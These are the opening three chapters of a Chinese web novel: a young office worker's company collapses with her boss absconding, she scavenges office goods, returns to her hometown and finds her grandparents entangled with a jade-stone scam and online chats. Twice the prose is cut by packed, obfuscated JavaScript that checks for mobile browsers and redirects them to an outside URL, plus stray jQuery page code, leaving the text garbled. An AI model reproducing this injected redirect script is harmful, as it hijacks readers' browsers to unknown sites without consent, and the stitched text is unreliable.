《大大世界小小家》 1. 1 铃声响起的时候,常乐还在做梦。 梦里,她睡得正酣,孙老板一脚踹开卧室的门冲进来,手里的电脑怼到她脸上,怒气冲冲地说:“还睡!活儿干完了吗?公司给你钱就是让你睡大觉的?” 常乐吓得直打鸣,把梦里梦外的自己都吵醒了。 床头的铃声还在持续。她艰难地撬开一只眼,待心跳慢慢平缓,才伸手摸到手机。 电话接通,手机那头爆出一声急吼:“常乐!看到群里的通知了吗?赶紧去公司!” 大脑开机速度有些慢,常乐懵了好半天,才听出这是同事珍姐的声音。 她揉揉眼,蹙眉看着手机上的时间,才刚过六点。 “……什么事啊?” “十万火急!老板跑了,公司倒了。你现在赶紧起床去公司,能搬一点是一点!” 常乐打了个哈欠,迷迷糊糊地问:“今天不用上班吗?” “你……你是不是还没睡醒?公司都没了,上什么班?赶紧去公司!去晚了只能捡点垃圾了!” 电话倏地挂断。 常乐闭着眼缓了缓,搓搓鼻子,挠挠耳朵,意识渐渐回笼,终于反应过来—— 啥? 她撑着手肘艰难地坐起身,再次拿起手机,打开微信,公司群显示未读消息99+。 常乐心一沉,飞速翻到最上面,终于翻到这场激情对喷赛的源头——一篇由“顺势文化-孙总”发表的小作文占满了整个对话框。 密密麻麻的字看得人眼睛疼。常乐一目十行看完,还没捋顺是怎么一回事,脑海里已经回荡起了一段魔性的BGM—— “浙江温州浙江温州江南皮革厂倒闭了……” 刚刚珍姐说什么来着?去公司?能搬一点是一点? 常乐霎时惊出一身冷汗,从床上腾地跳起,用冷水匆匆搓了把脸,连牙都没刷,头也没梳,套上那件穿了大半个月的黑色长款羽绒服就出门了。 片刻后,她又折返回来,翻箱倒柜找出两个巨型编织袋——这是她租房必备的搬家神器——又找出口罩和帽子戴上,把自己捂得严严实实的,这才火急火燎地出门。 六点十分,天光微亮,首班地铁上居然还是没有座位。 常乐抓着冰冷的柱子,在地铁的啸叫声中,反复研究孙总发的那一大段文字。 什么“因为项目纠纷,资金账户冻结”、什么“经营不善,难以为继”、什么“为了不给各位伙伴造成损失,请大家尽早寻找新工作”…… 总结起来就一句话—— 项目黄了,公司垮了,老板跑了,大家散了吧。 群里还有同事天真地问: “那我们怎么办?有n+1吗?” “上个月的工资还没发,什么时候补给我?” “孙总,年终奖还发吗?” “孙宇顺你个表子养的!我日.你&*%¥#……” 孙总一句没回复,估计是把公司群屏蔽了。 常乐忍不住骂了句脏话。 这狗日的公司还欠她两个月的工资呢! 转了两次地铁,终于抵达公司所在的写字楼。常乐杀气腾腾地推开玻璃门,编织袋甩在肩头,像迎敌的披风。 门口一个年轻保安见势不对,正要伸手拦她,被旁边的中年保安拽住了。 年轻保安退回到门口。目送她的背影消失在电梯里,他纳闷道:“一早上好几个人都这样,又是哪家公司出事了?” 中年保安端起保温杯呷了口热茶,一脸见怪不怪的表情。 “十六楼那家,叫什么文化来着……听说租金已经拖欠几个月了,关门是迟早的事。” 年轻保安忧心忡忡地说:“不会打起来吧?要不要上去看看?” “打起来倒不至于。公司破产而已,该清算的清算,该赔偿的赔偿。不过……”中年保安思忖片刻,渐渐敛容,“万一他们讨不到钱,把办公室的东西搬走……” 他放下保温杯,拿起对讲机,“我通知一下周经理。” 常乐一阵风似地冲出电梯,不小心跟公司策划部的王姐撞了个满怀。她抱着大纸箱,两只胳膊上还挂着几只塑料袋,鼓鼓囊囊的,看着跟逃难似的。 “哎!王姐——” 王姐一步跨进了电梯,冲常乐抬抬下巴,“没剩多少了,赶紧去!” 被她这么一催,常乐心里更忐忑了。 一进公司,就看见珍姐在前台,一边把指纹打卡机往包里塞,一边指挥实习生小吴踩在凳子上拆天花板的监控。 常乐看得目瞪口呆。 “常乐,你可算来了!”珍姐急忙招呼她,指着里面的大办公室,“那里我们都翻了一遍,没什么值钱的,电脑和打印机都不能动,还有会议室的投影仪、显示屏、音响,都是跟写字楼租的。”她压低声音,忿忿地说,“刚刚我准备拆主机,被几个保安抓住骂了一顿。妈蛋,拽什么啊?都是资本家的走狗,呸!” 常乐:“那……除了这些,还有什么能搬的?” 珍姐:“你自己去看吧。” 办公室里一片狼藉,地上散落着废纸和杂物,储物柜的柜门敞着,里面空空荡荡。桌上的电脑倒是还在,可是没人敢动,打印机旁还有几个保安虎视眈眈地守着。 常乐像游魂一样,提着大编织袋在办公室里来回转悠,只捡到几个笔筒和文件夹,估计也换不了几个钱。倒是门口那两棵光秃秃的发财树,抢救一下没准儿能起死回生。 她弯下腰,端起花盆底座,正要发力,又听珍姐大吼:“搬那玩意儿干啥?公司都干倒闭了,那两棵树肯定不吉利。还不如捡点纸箱卖废品。” 常乐:“……” 已经惨到这种地步了吗? 江南皮革厂的工人们还能拿着钱包抵工资呢! 她蹲在地上,看着干瘪的编织袋,倍感沮丧:她已经被拖欠两个月的工资了,昨天财务大姐还信誓旦旦地向她保证,今天肯定能补发,没想到…… 不仅工资没了,连工作也没了。 对了,差点忘了,财务大姐同时也是老板娘。 这家公司完全是个家庭作坊,老婆管财务,大姨管人事,小舅子管后勤——现在,这三人跟那老鳖孙都消失了,果然一家人就要整整齐齐啊。 门口又出现几个熟悉的身影,都是闻讯赶来的同事,个个脸色惨白,脚步凌乱。一见到珍姐都围了过来,仿佛抓住了救命稻草,翻来覆去地问:“珍姐,怎么办啊?公司真的倒了吗?”“孙总在哪儿?我联系不上他。”“咱们的工资还能要回来吗?”…… 众人七嘴八舌,常乐听得心烦,便独自去往洗手间。 途径茶水间时,她忽然心念一动,进去搜刮一番,终于有了点收获——两罐冻干咖啡、一盒立顿茶包、一大包旺旺仙贝。这些东西还是她陪着后勤部的“皇舅”一起买的,算是公司耗材,不归写字楼所有。 除此之外,她还去洗手间薅了四卷比脸还大的卷纸——连男洗手间的都没放过——和两瓶用到还剩一半的洗手液。 珍姐对她薅的这一堆鸡零狗碎很是无语:“让你来打劫,不是来搞保洁。你倒是捡点值钱的东西走啊!” 值钱的……对了! 常乐又冲进茶水间,把水吧上那台半人高的不锈钢饮水机给拆了。 珍姐无语了,打开手机给她看。 闲鱼页面上,同款二手饮水机,售价50。 常乐:“……五十就五十吧,苍蝇腿也是肉。” 继续地毯式搜索了一个多小时,又跟保安队的什么周经理大吵了一架。最后,江城顺势文化有限公司的几个残兵败卒们,抱着各自的破铜烂铁,怨气满满地离开了公司。 电梯里,气氛冷得几乎结冰。 常乐盯着不断变化的数字,脑子里一片茫然。 接下来该怎么办?报警?劳动仲裁?还是找工作? 似乎每一步都格外艰难。 终于,有人打破了沉默:“孙总把公司群解散了。” “这老鳖孙真不是个东西!”珍姐骂道,“他肯定早就计划好跑路了。我也是昨天才知道,我的社保和公积金已经两个月没交了!跟财务打电话,她也不接。我一晚上没睡着,半夜一摸手机,就看到群里的通知。我气得想骂娘!” “咱们要报警吗?” “这种情况应该去劳动局吧?” “我在网上查过了,应该直接去申请劳动仲裁。” “仲裁有用吗?万一老鳖孙逃到国外了怎么办?应该先报警抓他吧?” “他在国内肯定还有财产,车、房什么的,随便拍卖一套就可以付清欠我们的工资了。” “对了,有谁知道孙总住哪儿吗?说不定他还在家,咱们一起杀过去。” “还是先去报警吧,咱们带警察去,人多力量大。” “叮——”电梯门开了。 正值上班高峰期,一群早八社畜面无表情地涌进电梯。 常乐怀里抱着饮水机,肩上扛着大编织袋,一边往外挤一边喊:“先下后上!先下后上!” 饮水机里残留的水淌了一地,社畜们脸上纷纷露出嫌弃的表情,推推搡搡地挪出一条通道。 几个人终于挤出电梯,逆着上班的人潮,走出写字楼,仿佛被这座大型机器抛弃的旧零件。 “常乐,你衣服打湿了。”珍姐从包里抽出一张纸巾,弯下腰,帮常乐把羽绒服上的水渍擦干,起身时问她:“对了,你有什么律师或警察朋友吗?” 常乐木然地摇摇头。 她在这座城市工作了三年,期间换了几家公司,一家比一家垃圾。最后在这家小公司干了半年,累死累活终于转正,本以为就此稳定下来,谁料一觉醒来竟遭此大劫。 她哪有时间和精力积攒什么人脉啊。 深冬清晨,空气冷冽,对面高楼反射着苍白的阳光,映在常乐的脸上,没有一丝暖意。 看着路上行色匆匆的上班族,她想,这些人起码还有一份工作。真令人羡慕。 可他们个个神色疲惫,嘴角耷拉,看上去一点儿也不开心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585064|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 门口的保安臭着一张脸,大厅里的保洁阿姨也在一边拖地一边抱怨,街上穿着校服的学生们被书包压成了驼背,公交车里乘客们的脸上也没有一丝笑意…… 更不用说他们几个了,茫然无措地站在街头,宛如一群丧家之犬。 在这座城市里,有人是真正开心的吗? 常乐深深叹了口气,只觉得身心俱疲。 -- 这一天,他们一伙人先是赶去附近的派出所报案,然后去了劳动局、工商局,最后还去了珍姐的三姨的老同学的侄子工作的律所,以每小时500元的友情价,进行了一场法律咨询。 忙完这一切,常乐拖着疲惫的双腿回到家,看着抢来的“战利品”,还得强打起精神,把这一堆破烂玩意儿逐一拍照,上传到闲鱼。 定好价格后,一统计,就算全部顺利卖出,也不到三百块钱。 常乐顿时泄了气,往床上一扑,把脸埋进枕头里嚎叫:“啊啊啊啊——” 这操.蛋的人生啊! 女高音刚起了个头,枕边的手机突然响了。 常乐还以为案情有了新进展,赶紧抓起手机。 却是她妈林文娟的电话。 “喂——”常乐拖着调子,有气无力地说,“啥事儿啊?” 林文娟上扬的声调与她的呈鲜明对比:“乐宝儿啊,我看到你闲鱼上新货了,一堆鸡零狗碎的。怎么,最近又缺钱了?” 常乐愣了几秒,这才想起,上次回家,她教林文娟用闲鱼买了几盆绿植,林女士顺手关注了她。 “我这是……”常乐心虚地辩解,“闲置物品出清,哈哈,断舍离嘛。” “那怎么还卖卷纸啊?又在薅公司的羊毛?” 什么叫“又”?说得好像她经常干这种偷鸡摸狗的事一样! 常乐没好气道:“这是公司福利。” “那两包打印纸别卖了,家里最近添了台打印机,正好能用上。等你过年放假带回来。” “哦。” 得,三百还得减三十。 “对了,下个月就过年了,你们放假安排出来了吗?” 常乐沉默片刻,艰难地开口:“妈,我有一个好消息和一个坏消息——” 知女莫若母,林文娟直接打断她:“好消息。” “我们公司今年放假比较早,我应该……”常乐盘算了一下,“下周就能回家了。” “那坏消息是?” “呃,这个……年后也不用来上班了。” 电话那头安静几秒,忽然爆发出一阵狂笑:“哈哈哈!你们那家小破公司终于倒闭了?” 常乐无语翻白眼。倒也不用这么幸灾乐祸吧? 林文娟一直对这家公司颇为不满。刚入职时,常乐跟她汇报公司的基本情况,提到了“小小周”这个概念。林文娟天真地问:“是不是一周休两天,一周休一天的那种?” “那叫大小周。”常乐叹气。谁能想到,她曾经深恶痛绝的大小周,现在竟成了奢侈品。“小小周,意思是一周不休息,一周休一天。” 从未遭受过资本主义毒打的林女士发出惊呼:“我滴妈呀!也就是两周才放一天假?还有王法吗?还!有!王!法!吗!” 如今,听说这条劳动法漏网之鱼终于把自己折腾死,林文娟身心无比舒畅,恨不得吟诵一首“善恶终有报,天道好轮回”,完全忘记自家女儿也是受害者的一员。 “算了算了,你正好休息休息,找工作的事等过完年再说吧。早点回来也好,胜宝就要生了,你要晋级为小姨了!” “胜宝?!”又是一枚重磅炸弹,常乐惊得差点破音。 胜宝大名林常胜,是只漂亮的小边牧,养在楼下姥姥姥爷家。 问题是…… “她还是个孩子啊!”常乐气得咬牙切齿,“是哪个禽兽干的?我要亲手把它阉了!” “唉,还不知道呢,小区里养狗的不少……本来想着她还小,想等到一岁了再去做绝育,没想到突然就怀上了!” “她肚子大了,你们就一点没察觉?” “哎呀,我一开始以为她只是胖了,结果肚子越来越大,带去医院检查,医生说预产期是这个月底。算了算了,怀上了就生吧,咱家又不是养不起。正好你回来,伺候她坐月子。” 常乐:“???不是吧,要我当德华?我堂堂大女主人设,现代独立女性,精通wb、xhs、dy——” “啧。”林文娟不屑地打断她,“给你发工资行了吧,大女主?” “No!富贵不能淫!” 林文娟思忖几秒:“你难道就不想查出奸夫是谁,给胜宝讨回公道?” 常乐眼睛一亮:“有线索吗?” “当然。”林文娟语气笃定,“经过我们一家人商讨,目前初步判定,嫌犯是一条公狗。” “……” 常乐深叹一口气,捏捏眉心,又掐掐下巴,摆出柯南的招牌姿势。 “这种事还是得靠我啊。等着,我马上收拾行李!” 2. 2 常乐家在青江市,是中部省份一座没什么存在感的小城市,离她工作的江城只有一百多公里的距离,不堵车的话,开车两个小时就能到。 即便如此,常乐这几年回家的次数也是屈指可数。 常乐毕业后进的第一家公司实行大小周,后来换了几家,入职前说好的双休基本没有兑现过,节假日加班也是常态。再后来,她就进了这家黑心作坊,连单休都变成了奢望。 她本是个恋家的人,无奈,一入职场忙似狗,从此家人变网友,只能在视频里短暂地相会。 公司突然倒闭,常乐在震惊和慌乱之余,内心也有一丝窃喜。 终于可以名正言顺地休息了。 她要把之前没时间追的剧、没看完的小说、想打卡的餐厅、憧憬了很久的旅游地,全都—— 等等,在这之前,还有正事要办。 第二天,常乐整理好自己的劳动合同、工资条、考勤记录等材料,跟几个同事一起,去了趟公司所在地的劳动仲裁中心。提交材料、填写申请书、拿到回执单,一整个流程走完,已经是中午了。 其他人陆续离开了,只剩下常乐和珍姐。 “我请你吃饭吧,珍姐。”常乐说,“我过几天就要回家了,这边的进展还要麻烦你盯着。” 刚刚仲裁员让他们回去等通知,常乐在网上查了一下,开庭时间最早也得在一个月后。她打算先回家歇着,等开庭前再来一趟。 珍姐:“不找工作了?” 常乐:“过完年再说。你呢?” “昨天回去就在boss上投了十几家,一个回复都没有。”珍姐望着路旁光秃秃的树,眉宇间满是忧虑,“明年我就三十五了。” 常乐一时默然。 三十五岁,职场的deadline,悬在每个打工人头上的一把刀。 “哎,别急嘛。”她试图让语气轻松点,“这都到年底了,很多公司都停止招聘了。你就当给自己放个长假,好好休息,陪陪家人。找工作的事,等过完年再说。” 珍姐扯了下嘴角,转头望着常乐,“你还年轻,可以走一会儿歇一会儿。我上有老下有小,还背着房贷,一刻都不敢停下来。” 常乐安慰她:“别那么悲观嘛。我查过了,公司的注册资金是一百万,足够用来补发工资了。咱们的诉求是合理合法的,肯定能要到钱。” 珍姐摇摇头,“不好说,老鳖孙可能早就转移了财产。你看,他连法定代表人都偷偷换了。” ——这还是他们在查询公司的工商登记档案时发现的。 李玉婷,一个完全陌生的名字。档案中显示,她才二十出头,居住在本市的一个高档小区。 同事们面面相觑,都表示从没听说过这个人。 法定代表人的变更是在三个月前。很显然,这是老鳖孙找的替死鬼。 常乐疑惑道:“所以,公司欠的钱要由她来还?要是她没钱呢?” 珍姐:“我担心的就是这个。” 两人都陷入了沉默。 珍姐叹了口气,视线转向街对面的小吃店,“算了,不说这些了,我请你吧。想吃什么?” 在这种情绪下,常乐实在没什么胃口,最后,两人就在街边的面馆随便对付了一顿。 在地铁站分别时,常乐试图给珍姐打打气,张了张嘴,却发现什么都说不出来。 那些鼓励的话,都是漂着油花的鸡汤,她自己都喝不下。 倒是珍姐先开口了:“常乐,其实我挺羡慕你的,年轻,单身,没有孩子,没有负债。你还有选择的自由。” 常乐怔怔地看着她,眼底微微发涩。 自由吗? 她从来不觉得。 如果她真的自由,怎么会任由这种黑心公司压榨自己所有的时间和精力,只为了每个月几千块钱的糊口费? 中午的地铁上人不算多,常乐幸运地抢到一个座位。刚坐下,手机铃响了。 是她爸常建民的电话。 “乐儿啊,听你妈说你公司倒闭了,恭喜恭喜啊。” 语气全是真诚,不掺一点阴阳怪气。要不是素质太高,常乐真想把手机开外放,让周围的社畜们都沾沾喜气。 “爸,啥事儿啊?” “你准备几号回家?行李多不多?我开车来接你吧。” “不用,我打车就行。”常乐说,“时间还不确定,我得把这边的房子退了。” “行,忙完就赶紧回啊。对了,那几卷卫生纸别卖了,家里的快用完了。” “……” 都惦记着她那点可怜的“n+1”呢。 挂断电话,常乐心情轻松了不少。 不就是失业嘛,现在的年轻人谁不是活在降薪裁员的阴影之下,等待着靴子落地。 等过完年再慢慢找工作呗,大不了去摇奶茶。 — 回家倒计时启动。 常乐把租的这套不足二十平米小公寓从里到外收拾了一番,该扔的扔,能卖的卖。加上从公司薅的那一堆鸡零狗碎,一共卖了一千五百块。 接着联系房东大姨。 经过一番细致入微的检查后,大姨决定从一千五的押金里,扣除三百的家具损耗费、三百的电器维修费、两百的全屋打扫费,以及一千的提前退租违约金。 算下来,常乐还得倒给她三百。 常乐早知有此一劫,提前在小红薯上找了一堆退租攻略,挨个试用,结果发现,卖惨诉苦、打感情牌、讲道理都行不通,甚至连报警威胁都不管用。 最有用的还是撒泼打滚。 终于,当整层楼的住户——包括楼下的保安和不知哪儿来的两条狗——都出来看热闹时,大姨终于顶不住压力,骂骂咧咧地给她退了五百。 打包完所有行李后,常乐在公寓楼下叫了辆货拉拉。 小面包车里堆着她这三年来全部的家当。看着窗外飞逝而去的高楼大厦,她的心里泛起一股无法言说的惆怅。 这次离开,还能再回来吗? 转念一想,这座双休都犯法的城市,还回来干嘛? 拜拜吧您呐! 两个小时后,货拉拉停在了青江市教师小区门口。 教师小区顾名思义,里面的住户大多是附近学校的老师。二十多年前,青江市的实小、二中和电大三所学校为了安置上千名教职工,集资建了四十多栋居民楼。小区占地面积颇大,分为春桃苑、秋菊苑、冬梅苑,但老住户们都习惯按照学校来区分。 常乐一家能住在这里,得益于姥姥姥爷——他们都是二中的教师,退休前赶上了这波福利,以极低的价格买了两套三居室,选的是同一栋楼的一楼和二楼。一楼给两位行动不便的老人住,二楼给常乐和父母住。 这几年,经常有邻居开玩笑,说现在流行的“叠墅”,你们家二十几年前就住进去了,真是花小钱享大福啊。 常乐本想直接出现在家门口,给家人一个惊喜,但是,看着从小面包车里搬下来的两个硕大的行李箱、两个快要撑爆的大编织袋、以及一摞脸盆水桶,她觉得自己多少有点不自量力了。 她先给林文娟打了个电话。 电话响了半天,林文娟才接听,声音压得很低:“乐宝啊,妈在上课,待会儿给你回。” 她急匆匆地说完,就挂断了电话。 林文娟今年六月份正式退休,七月份就马不停蹄地去老年大学报了名。听常建民说,她现在的课程表排得比高三生还满。 常乐一屁股坐在编织袋上,又给她爸打了个电话。 “乐儿,啊?你已经到了?哎唷你不早说……我六点下班,你在家等我嗷!” 果然,那种“上班暂停,接女儿回家”的爸道台词,只会出现在短剧里。 常乐望着身边这一大堆行李,郁闷地挂断电话。 姥姥姥爷大概率在家,但又不能喊他们来帮忙,这不纯纯虐待老人嘛。 思来想去,常乐最后去小区门口的菜鸟驿站借了个小拖车,铆足了劲儿才将行李搬了上去,然后拖着一百多斤的拖车,穿过小区主干道,绕到一条弯弯绕绕的鹅卵石小路上。 小拖车“哐当哐当”, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15585065|171701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震天动地。 一路上吸引不少路人的注意,其中不乏熟悉的面孔。 常乐累得肩酸腿软,还得摆出笑脸,应付各位爹爹婆婆叔叔姨姨的寒暄。 “回啦?”“嗯嗯回了。”“放几天假啊?”“没几天,过完年就得走了。”“今年赚了多少啊?”“呵呵……没多少。”“没多少是多少啊?”“……” 短短几百米的路,她走了十几分钟,身心备受折磨。 拐过一排桂花树,终于看见那栋熟悉的单元楼。灰白的外墙,凌乱的空调外机,绿色的窗户,有几扇窗下还挂着花床单。 一楼东侧的窗户亮着灯,家里肯定有人。常乐打起精神,连拖带拽地走完了最后几十米的路程。 行李先安置在楼梯下面,她掏出钥匙,打开了102室的不锈钢门。 客厅和厨房都没看见人影。常乐提起一口气,刚要喊人,姥爷就从卧室里悄无声息地走了出来。 他穿着居家棉服,戴着老花镜,正低头看着手机。 “姥爷!”常乐兴奋地喊道。 听到声音,姥爷终于将视线转向门口。他摘下老花镜,一脸惊喜:“是乐乐啊!今年这么早就回了?” 常乐:“是啊,就你一个在家?” “还有胜胜呢。”姥爷指了指阳台。 “胜宝!”常乐蹬掉鞋子,兴奋地冲到阳台,一眼就看到躺在狗窝里晒太阳的小边牧——小狗的四肢还是那么纤细,脸也瘦跟车座子似得,只有肚子像吹胀的气球一样圆滚滚的,看得她心疼不已。 看到几个月没见的小主人,林常胜都懒得动弹,只是扬起尾巴,拍了拍地面,敷衍地打了个招呼。 “……” 常乐满腔的热情被浇熄了一半。 什么嘛?上次她回家,小狗还激动得不得了,对她又抱又舔呢,尾巴都摇成了螺旋桨。 唉,当了妈的狗就是高冷啊,都瞧不上她这种单身狗了。 常乐揉了揉狗头,又问姥爷:“我姥姥呢?” “她上小区门口那个理疗店去了,说是做什么红外电疗,做满三十次,能领一个电饭煲。” 常乐想起刚刚去菜鸟驿站借小拖车时,确实看到旁边新开了一家什么理疗店,门口还挺热闹,不少老人在排队,等着领大米和鸡蛋。 常乐不免担忧:“不会是骗人的吧?” “肯定是骗人的,不过礼品是真的。”姥爷笑了,视线落回手机上,说话有些心不在焉,“放心吧,我跟你姥姥提过醒了。她为了防止乱花钱,把银行卡都解绑了,手机里只留了点买菜钱。” 姥爷说完,又戴上老花镜,低着头,手指在手机上戳戳点点。 “姥爷,看啥呢这么投入?” 常乐的好奇心越来越重。她走到姥爷身边,探头去看他的手机,打趣道:“都老大不小的了,可别染上网瘾啊。” 姥爷大拇指往上一扫,迅速退出了页面,语气有些不自然:“嗐,没啥,就是看看视频、打发时间呗。” 他将手机塞进棉服的兜里,视线在屋里转了一圈,没话找话:“回来累了吧?欸,你行李呢?” 常乐狐疑地打量着他。 刚刚那一瞥,她依稀看到了抖音的私信页面,姥爷跟对方聊得热火朝天。具体聊的什么,她没看清,只看到满屏的玫瑰花和大拇指。 她忽然想到,现在有些土甜风的美女网红,特别受中老年人喜欢,几段对口型唱歌的视频就能收获数万点赞。没钱的老头在评论区骚话连篇,有钱的老头在直播间一掷千金,还有些走火入魔的老头,啧啧啧…… 正胡思乱想着,姥爷已经踱步到了卧室门口,进门那一刻,手又伸进了兜里。 嘴角还微微上扬,笑容掩都掩不住。 常乐脑子里警铃大作:完蛋!这糟老头子该不会网恋了吧? 窗外天色渐暗,时针慢慢转向六点半。 终于,上课的妈,上班的爸,濒临上当的姥姥,陆续回家了。加上一个手机上瘾的姥爷,和一个着急上火的常乐,一家五口,齐聚在102室的餐桌上。 3. 3 桌上没几个正经菜。除了常建民下班路上买的卤菜和包子,剩下的全是为过年准备的半成品,什么腌鱼、腊肠、鱼丸、肉丸、藕夹…… 作为接风宴来说,略显寒酸。 常乐嗦着筷子,巡视一圈,实在找不到对胃口的菜,只好端起热米酒,浅尝了一口。 “来来来,一起干一杯。”林文娟举起杯子,“欢迎乐宝回家!” 杯子碰撞,发出清脆的声响。 姥姥略带歉意地说:“对不住啊乐乐,我这一不留神没注意时间,回来得太晚了。今天就将就着吃一顿,明天我给你炖鸡汤。” 常乐抓起个肉包子塞嘴里,视线在姥姥和姥爷之间来回打转,琢磨着应该先从谁下手。 一个有上当受骗的风险,一个是老房子疑似着火。 还是前者更紧急。 她轻咳两声,一本正经地看向姥姥。 “姥儿,你去做那电疗,有效果吗?” “应该……有点用吧……”姥姥语气不太自信,“听小杨说,这是什么微波电流,跟家里用的电不一样,可以疏通血管、排出毒素、震碎结石什么的……哎,我就是去体验一下,反正是免费的嘛。” 常乐狐疑地蹙起眉,提醒她:“要是那个小杨向你推销,你可千万别买!” “放心吧,她骗不了我。”姥姥摆摆手,“我活了大半辈子,什么骗术没见过?现在没人能从我手里骗走一分钱。” 常乐和林文娟交换了个不信任的眼神。 ……骗术是见得多,可是当也没少上。 常乐犹记得,去年姥姥跟几个老姐妹参加了一个旅行团,环游云贵川六天七夜,只要698——这价格,就差把“前方有坑”写脸上了。 出发前,常乐和林文娟千叮咛万嘱咐,姥姥拍着胸脯,自信满满:“放心,我知道这种低价旅行团的套路,就是让你购物,他们拿提成。我不买不就行了嘛。钱在我手里,他们还能硬抢不成?” 出发时,一个行李包轻装上阵,潇洒得仿佛江湖剑客;回家时,大包小包搬进搬出,阔气得如同海外代购。 常乐挨个打开看,什么鲜花饼、羊肚菌、普洱茶,这就罢了,还有两只雕花银手镯,一副两千多——姥姥解释说,银价本身不贵,但这个打镯子的老工匠是非遗最后一位传承人,这雕花的手艺马上就要失传了。他现在眼睛不好,一年只做十二只镯子,外人花钱都买不到呢! 常乐:“……” 你这不就花钱买到了吗? 她欲言又止,心想,老人出去玩一趟不容易,钱花就花了吧,情绪价值给到位就行了呗。 翻到最后,她翻出一个沉甸甸的、用丝巾层层包裹的东西,打开一看,是一块灰不溜秋的石头,个头跟香瓜差不多大。 “这又是啥啊?”常乐直觉这东西才是主角,心中已有不祥的预感。 “小心点!”姥姥急忙从她手里捧起这块石头,小心翼翼地放在桌上,两眼直放光,“这是玉石,能开出翡翠。等你结婚的时候,给你打一套镯子。” 常乐:“……” 怕刺激老人,她只能旁敲侧击地问:“你这……哪家店买的?有票据吗?” “是在一个玉石拍卖会买的,放心吧,是正规的。工作人员当场拿那个什么灯照过,里头肯定有玉,好多人举牌抢呢!” 拍卖啊…… 听上去更贵了。 “好多人抢,最后给你抢到了?” “没有,是被一个做玉石生意的老板抢到了。导游跟他说,我外孙女要结婚了,我想给她打一套嫁妆。那老板人挺好,同意让给我了。” 常乐:“…………” 她终于忍不住问:“多少钱啊?” “哎,没多少。”姥姥重新用丝巾将石头包起来,抱在怀里,美美地畅想着:“要是开出来的翡翠品质好,还能赚不少呢。” 常乐此后再没见过这块石头。 她是个八卦心极强的人,不蹲到后续都睡不着觉。 几个月后,她找到跟姥姥一起报团的孙奶奶打听,没想到孙奶奶还挺仗义,拒绝出卖自己的好闺蜜:“嗐,这谁记得住啊?千金难买心头好,你姥姥喜欢就行了,管他钱多钱少呢。” “我就是好奇嘛。”常乐笑眯眯地说,“姥姥跟我说,你花八千六买了个玉镯,跟家里人说只花了三千。” 孙奶奶的笑容僵在了脸上。 常乐乘胜追击:“她还说,你在抖音直播间买了块翡翠,花了五千多,结果是假货,还退不了。这事你家里人还不知道吧?” 孙奶奶脸都气绿了,什么姐妹情深统统抛之脑后。 她嚷嚷道:“她还好意思说我?自己花一万五买了块破石头,我劝她还不听,还怪我拦着她发财!” “夺、夺少?”常乐两眼一黑,腿软得差点站不稳。 她稳了稳呼吸,内心还抱有一丝侥幸:“那石头里真的有玉吗?” “谁知道呢?开石的时候也没叫上我。”孙奶奶撇撇嘴,“我估摸着是没有,不然早就跟我显摆上了。” “她已经开了?”常乐觉得难以置信,“自己锯开的?” 孙奶奶乐了:“当然不是了。北门街上有家铺子可以开玉石,我跟你姥姥提了一嘴,她八成是上那儿去了。” 谢过孙奶奶后,常乐又马不停蹄地赶往北门街,很快找到那家玉石铺。一进门就直奔柜台,向老板询问是否有个老婆婆来开石。 听她描述完姥姥的外貌特征,老板想起来了:“哦——那是你家老人啊?对对对,她是来过,抱着一块石头让我开。我收她两百她还不乐意,说要开出玉来再给,我当然不答应啊。掰扯半天,她最后只给了一百。我看她是个老人,就算了。” “那……开出玉了吗?” 老板咧嘴笑了:“肯定没有啊,外面啥样里头还是啥样。老婆婆还不信,要我继续对半切,最后都切得稀碎了,只剩下一堆石头渣。” 老板有些于心不忍,叹了口气,继续说:“我干这行多少年了,看一眼就知道这石头肯定是假的。又听她说这是旅游买的,那妥妥的被人做局给骗了啊!她最后走的时候还挺伤心的,石头渣还抱在怀里,舍不得扔呢。” 常乐怔怔地说不出话。 老板安慰她:“唉,这种事我见得多了。我记得几年前有个男的,抱着这么大一块石头——”他双手比划着大小,“说里头有顶级祖母绿,结果开出来只有这么一丢丢——”他又伸出小拇指,“糯种,也就值个一两千吧。问他多少钱买的——”老板话音一顿,撇了撇嘴,又慢悠悠地喝了口茶,似乎在等常乐主动开口问。 常乐果然憋不住了:“多少啊?” 老板放下茶杯,双目炯炯,语气铿锵:“十六万八!” 常乐嘶了一口凉气。 “那男人刚走出店门,就一头栽倒在地上,还是我叫的救护车。”老板唏嘘道,“赌石这一行水太深了,发家致富的没几个,家破人亡的一大把。你回去好好安慰你家老人吧,就当花钱买个教训,以后把钱袋子捂紧了。” 为了保护老人敏感的自尊心和脆弱的心血管,常乐回家后没有再提此事。 但是每每想起那块石头,她总忍不住扼腕叹息:一万五,她三个月的工资、十个月的房租、一天三顿拼好饭、能吃整整两年啊! 见常乐神色凝重,林文娟猜到她的心思,安慰说:“放心吧,你姥姥的银行卡都在我手上,密码都改了,全身上下包括手机里不超过两百块钱。她现在能被骗的,只有两个腰子。” 姥姥气得拿筷子敲她脑袋:“我这俩老腰子能值几个钱?爆炒还嫌肉柴呢。” 一桌人都笑了。 常乐也不再纠结了。 这不是还没被骗嘛。等对方图穷匕见了,她再见招拆招呗。 常乐又问林文娟:“妈,你怎么也这么晚才回?你们现在的学习压力这么大呢?” 